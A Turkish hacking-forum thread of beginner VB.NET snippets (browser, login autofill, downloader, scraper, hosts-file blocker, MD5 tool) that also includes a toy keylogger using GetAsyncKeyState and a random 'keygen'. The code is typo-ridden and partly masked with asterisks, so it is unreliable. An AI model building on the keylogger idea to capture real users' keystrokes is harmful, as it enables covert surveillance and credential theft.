Visual Basic Ders Paylaşma Bölümü

A

Ahmtcnbzkrt

Üye
4 Ağu 2014
70
0
Bursa
[VB.NET]Web Browser Yapımı

Videomuz:
[VB.NET]Web Browser Yapımı - YouTube

Kodlar;
Button1 Kodları:
WebBrowser1.Navigate(TextBox1.Text)

Button2 Kodları:
WebBrowser1.Navigate("Http://www.google.com.tr/")

Button3 Kodları:
WebBorwser1.Stop()

Button4 Kodları:
WebBrowser1.*******()

Button5 Kodları:
WebBrowser1.GoBack()

Button6 Kodları:
WebBrowser1.GoForward()​
 
A

Ahmtcnbzkrt

Üye
4 Ağu 2014
70
0
Bursa
[VB.NET]Form Üzerinden Site İşlemleri

Videomuz;
[VB.NET]Form Üzerinden Site İşlemleri - YouTube

Kodlarımız;
Button1 Kodları:
Dim id As HtmlElement = WebBrowser1.********.GetElementbyId("email")
Dim pass As HtmlElement = WebBrowser1.********.GetElementbyId("pass")
Dim giris As HtmlElement = WebBrowser1.********.GetElementbyId("u_0_l")

id.SetAttribute("Value",TextBox1.Text)
pass.SetAttribute(Value,TextBox2.Text)
giris.InvokeMember("Click")​
 
A

Ahmtcnbzkrt

Üye
4 Ağu 2014
70
0
Bursa
[VB.NET]Deneme Sürümü Oluşturma

Videomuz;
https://www.youtube.com/watch?v=ZqeW8Hy1swQ

Kodlarımız;
Form1_Load Kodları:
Dim a As String = My.Settings.kalan
My.Settings.Kalan = a - 1
If a=0 Or 0>a Then
MsgBox("Deneme Sürümünüz Bitmiltir,Lütfen Tam Sürümü Satın Alınız!",vbInformatiın,"Hakkınız Bitmiştir")
Else
MsgBox(a & "Tane Hakkınız Kalmıştır",vbInformation,"Kalan Hakkınız!")
My.Settings.Save()
End If​
 
A

Ahmtcnbzkrt

Üye
4 Ağu 2014
70
0
Bursa
[VB.NET]İndirme Programı Yapma

Videomuz;
https://www.youtube.com/watch?v=EP1TONffkT8

Kodlarımız;
Button1 Kodları:
My.Computer.Network.DownloadFile(TextBox1.Text,TextBox2.Text,"","",True,"10",False)

Button2 Kodları:
Dim isim As String
isim = InputBox("Lütfen Dosyanızın İsmini Yazınız...")
FolderBrowserDialog1.ShowDialog()
TextBox2.Text = FolderBrowserDialog1.SelectedPath + ("\" & isim & (".exe"))​
 
A

Ahmtcnbzkrt

Üye
4 Ağu 2014
70
0
Bursa
[VB.NET]Siteden Bilgi Çekmek

Videomuz;
https://www.youtube.com/watch?v=iCz2alqAya0

Kodlarımız;
WebBrowser1_********Completed Kodları:
Dim bilgi As HtmlElementCollection = WebBrowser1.********.All
For Each element As HtmlElement In Bilgi
If element.GetAttribute("classname").Contains("title fvl fvb fcb") Then
Label1.Text = element.InnerText
End If
Next​
 
A

Ahmtcnbzkrt

Üye
4 Ağu 2014
70
0
Bursa
[VB.NET]Site Engelleme Programı

Videomuz;
https://www.youtube.com/watch?v=D9Rdsv-FOEw

Kodlarımız;
Form1 Alt Kodları :
Dim path As String
Dim save As StreamWriter

Button1 Kodları:
path = "C:\Windows\System32\Drivers\etc\hosts"
save = New StreamWriter(path,True)
Dim siteblock As String = (Enviroment.NewLine & "127.0.0.1"& TextBox1.Text)
save.Write(siteblock);
save.Close()
MsgBox("Site Engellenmiştir!!",vbInformation,"Engellendi")​
 
A

Ahmtcnbzkrt

Üye
4 Ağu 2014
70
0
Bursa
[VB.NET]Youtube Mp3 Downloader Yapımı

Videomuz;
https://www.youtube.com/watch?v=GirXE5zPBcM

Kodlarımız;
Button1 Kodları:
WebBrowser1.********.GetElementById("youtube-url").SetAttribute("Value",TextBox1.Text)

Button2 Kodları:
WebBrowser1.********.GetElementById("submit").InvokeMember("Click");

Button3 Kodları:
Dim dl_link As HtmlElement = WebBrowser1.********.GetElementById("dl_link")
Dim link As HtmlElementCollection = dl_link.GetElementbyTagName("a")
Dim url As String = link(0).GetAttribute("href")
System.Diagnotics.Process.Start(url)​
 
A

Ahmtcnbzkrt

Üye
4 Ağu 2014
70
0
Bursa
[VB.NET]MD5 Oluşturucu Yapımı

Videomuz;
https://www.youtube.com/watch?v=sqsLez7QYLs

Kodlarımız;
Button1 Kodları:
Dim sec As String Security.Cryptography.MD5CryptoServiceProvider
Dim textb As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(TextBox1.Text)
Dim has As String
textb = sec.ComputeHash(textb)
For Each bt As Byte In textb
has &= bt.ToString("x2")
Next
TextBox2.Text = has.ToString

Button2 Kodları:
Clipboard.SetText(TextBox2.Text)​
 
A

Ahmtcnbzkrt

Üye
4 Ağu 2014
70
0
Bursa
[VB.NET]Keylogger Yapım Mantığı

Videomuz;
https://www.youtube.com/watch?v=WFx91rz_FsE

Kodlarımız;
Tuşları Çektiğimiz Library :
Private Declare Function GetAsyncKeyState Lib "user32"(ByVal vkey As Integer) As Short

Global Değişkenimiz : Dim Log As String

Timer1 Kodları:
If (GetAsyncKeyState(65)) Then
Log = Log + "A"
ElseIf (GetAsyncKeyState(66)) Then
Log = Log + "B"
End If

Button1 Kodları:
RichTextBox1.Text = log

Form1_Load Kodları:
Timer1.Enabled = True​
 
A

Ahmtcnbzkrt

Üye
4 Ağu 2014
70
0
Bursa
[VB.NET]Keygen Yapımı

Videomuz;
https://www.youtube.com/watch?v=D7vGzSEDVYU

Kodlarımız;
Globaller :
Dim Anahtar As String
Private Consts buyukharfler As String = "ABCDEFG"

Anahtar Oluşturma Fonksiyonu :

Private Function GenMask(ByVal Mask As String) As String
Dim random As New Random
Dim output As New StringBuilder
For c As Integer = 0 To Mask.Length -1
If Mask(c) = "#" Then
output.Append(random.Next(0,9))
ElseIf Mask(c) = "?" Then
output.Append(buyukharfler(random.Next(0,buyukharfler.length)))
End If
Next
Return output.ToString
End Function

Button1 Kodları:
anahtar = GenMask("#?")
TextBox1.Text = anahtar​
 
Cevap yazmak için giriş yap yada kayıt ol.
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.